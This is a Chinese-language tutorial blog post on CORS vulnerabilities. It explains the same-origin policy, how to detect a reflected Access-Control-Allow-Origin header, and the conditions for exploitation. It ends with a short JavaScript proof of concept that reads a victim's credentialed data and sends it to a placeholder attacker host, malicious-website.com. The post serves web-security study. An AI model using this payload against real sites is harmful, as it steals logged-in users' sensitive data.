CORS漏洞学习

CORS漏洞属于一个协议漏洞,具体是由于同源策略的设置问题触发的漏洞,漏洞利用条件较为苛刻,但实战中也常见。

首先要了解同源策略

什么是同源策略?

同源策略是一种Web浏览器安全机制,旨在防止网站相互攻击。

同源策略限制一个源上的脚本访问另一源上的数据。源由 URI 方案、域和端口号组成。例如,考虑以下 URL:

http://normal-website.com/example/example.html

这使用了方案http、域normal-website.com和端口号80。下表显示了如果上述 URL 上的内容尝试访问其他源,将如何应用同源策略:

访问的 URL 允许访问吗?
http://normal-website.com/example/ 是:相同的方案、域和端口
http://normal-website.com/example2/ 是:相同的方案、域和端口
https://normal-website.com/example/ 否:不同的方案和端口
http://en.normal-website.com/example/ 否:不同的域
http://www.normal-website.com/example/ 否:不同的域
http://normal-website.com:8080/example/ 否:不同端口*

*Internet Explorer 将允许此访问,因为 IE 在应用同源策略时不考虑端口号。

为什么需要同源策略?

当浏览器从一个源向另一个源发送 HTTP 请求时,与另一域相关的任何 cookie(包括身份验证会话 cookie)也会作为请求的一部分发送。这意味着响应将在用户会话内生成,并包含特定于用户的任何相关数据。如果没有同源策略,如果您访问了恶意网站,它就能够读取您来自 GMail 的电子邮件、来自 Facebook 的私人消息等。

可以参考burp靶场What is CORS (cross-origin resource sharing)? Tutorial & Examples | Web Security Academy

CORS漏洞发现

CORS漏洞学习_第1张图片

添加origin字段,发现返回包出现Access-Contorl-Allow-Origin字段

CORS漏洞学习_第2张图片

漏洞利用,

1.上述触发条件

2.需要一个服务器放置钓鱼页面

3.引诱用户进行点击界面

复现

登录页面

CORS漏洞学习_第3张图片

在服务器上放置脚本界面

CORS漏洞学习_第4张图片

将上面的vulunerable-website.com换成下面的域名

CORS漏洞学习_第5张图片

var req = new XMLHttpRequest();#创建请求对象

req.onload = reqListener;

req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
#向https://vulnerable-website.com/sensitive-victim-data发送请求

req.withCredentials = true;
req.send();

function reqListener() {
   location='//malicious-website.com/log?key='+this.responseText;
#将返回包信息放到//malicious-website.com/log文件中
};

用户访问上面页面之后

返回的敏感信息

你可能感兴趣的:(web安全)